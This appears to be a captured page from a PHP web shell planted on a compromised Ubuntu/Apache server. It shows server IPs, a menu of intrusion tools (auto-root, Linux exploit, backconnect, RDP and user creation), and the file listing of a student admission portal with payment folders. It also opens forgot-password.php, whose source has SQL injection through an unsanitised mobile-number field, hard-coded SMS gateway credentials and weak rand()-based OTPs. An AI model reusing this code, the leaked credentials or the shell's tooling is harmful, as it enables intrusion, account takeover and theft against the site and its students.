Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.222.179.96
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
gfgcg /
adm /
[ HOME SHELL ]
Name
Size
Permission
Action
.vscode
[ DIR ]
drwxr-xr-x
Paytm
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
dompdf
[ DIR ]
drwxr-xr-x
hdfc
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
pgReports
[ DIR ]
drwxr-xr-x
pget_photos
[ DIR ]
drwxr-xr-x
pgetadm
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
razorpay
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
tcpdf
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
.DS_Store
27.87
KB
-rwxr-xr-x
BU_connect.php
442
B
-rwxr-xr-x
MainPage.html
52.35
KB
-rwxr-xr-x
MainPage_dev.html
36.76
KB
-rwxr-xr-x
admission_sms_push.php
2.42
KB
-rwxr-xr-x
app.php
416
B
-rwxr-xr-x
cconfig.php
1.45
KB
-rwxr-xr-x
cronjob_sendsms.php
2.52
KB
-rwxr-xr-x
database.php
405
B
-rwxr-xr-x
error_log.txt
900.33
KB
-rwxr-xr-x
forgot-password.php
2.19
KB
-rwxr-xr-x
forgotPassword.html
3.84
KB
-rwxr-xr-x
host=172.31.20.139
0
B
-rwxr-xr-x
index.html
5.34
KB
-rwxr-xr-x
index_1.html
130
B
-rwxr-xr-x
instruction.html
10.69
KB
-rwxr-xr-x
instruction_10092018.html
8.37
KB
-rwxr-xr-x
instruction_24092018.html
9.08
KB
-rwxr-xr-x
instruction_regn.html
5.07
KB
-rwxr-xr-x
login.php
294
B
-rwxr-xr-x
pg-forgotPassword.html
4.1
KB
-rwxr-xr-x
pg-sign-up.html
7.15
KB
-rwxr-xr-x
pgResponse.php
7.77
KB
-rwxr-xr-x
pgStudStatus.html
4.32
KB
-rwxr-xr-x
pg_instruction.html
8.53
KB
-rwxr-xr-x
pgadm.html
111.5
KB
-rwxr-xr-x
pgindex.html
6.24
KB
-rwxr-xr-x
resetpassword.php
697
B
-rwxr-xr-x
sendGridMail.php
1.28
KB
-rwxr-xr-x
sendMobEmailOTP.php
1.4
KB
-rwxr-xr-x
sendsmsapi.php
760
B
-rwxr-xr-x
sign-up.html
7.29
KB
-rwxr-xr-x
signin.php
992
B
-rwxr-xr-x
signup.php
1.22
KB
-rwxr-xr-x
support.html
5.37
KB
-rwxr-xr-x
upload.php
415
B
-rwxr-xr-x
upload1.php
423
B
-rwxr-xr-x
upload_file.php
748
B
-rwxr-xr-x
upload_file_pg.php
740
B
-rwxr-xr-x
validateRegno.php
2.35
KB
-rwxr-xr-x
verify.php
7.58
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : forgot-password.php
<?php include ("database.php"); include("sendsmsapi.php"); include("sendGridMail.php"); error_reporting(E_ALL); ini_set('display_errors', 'on'); //$regno = $_POST['regno']; $mob = trim($_POST['mobile']); $query = "SELECT femail from collstud where fmobileno = '{$mob}' and ifnull(factive,'') = 'T'"; $result = mysqli_query($conn,$query); $count = mysqli_num_rows($result); if($count >0) { $row = mysqli_fetch_assoc($result); $email = $row['femail']; $otp = rand(100000, 900000); $smsotp = "Dear Student, Your mobile OTP for reseting password is $otp"; $username = 'logisyhttp'; $password = 'Logis986'; $from = 'LOGINF'; $to = $mob; $text = $smsotp; $category = ''; $smsresp = sendsmaapi($username,$password,$from,$to,$text,$category); $message="<html>"; $message.="<body>"; $message.="<style>"; $message.=".mail_tbl td{text-align:left; padding:2px; font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif;}"; $message.="</style>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>Dear Student,</p></br>"; $message.="<p style='font-size:12px; font-family: Verdana, Arial, Helvetica, sans-serif'>OTP for reseting your password is $otp<br/></p></br>"; $message.="</br>"; $message.="</body>"; $message.="</html>"; $subject="Admission Portal : Forgot Password"; if($email != '' ) { $resp = sendGridMail($email,$subject,$message,''); $data = json_decode($resp, true); } //$data = send_manual_mail($email,$subject,$message,$replay_to=null,$cc=null,'techsupport@logisys.net.in'); $query = "update collstud set fresetotp = '{$otp}', fresetotptime = now(), fresetotpcount = fresetotpcount+1 where fmobileno = '{$mob}'"; $result = mysqli_query($conn,$query); if($result == 1) { $response['femail'] = $email; $response['status'] = 'success'; $response['msg'] = 'OTP sent to your registered mobile: '.$mob.' and email :'.$email; echo json_encode($response); } else { $response['status'] = 'error'; $response['msg'] = 'Something went wrong'; echo json_encode($response); } } else { $response['status'] = 'error'; $response['msg'] = 'Try with registered mobile number'; echo json_encode($response); } mysqli_close($conn); ?>
Close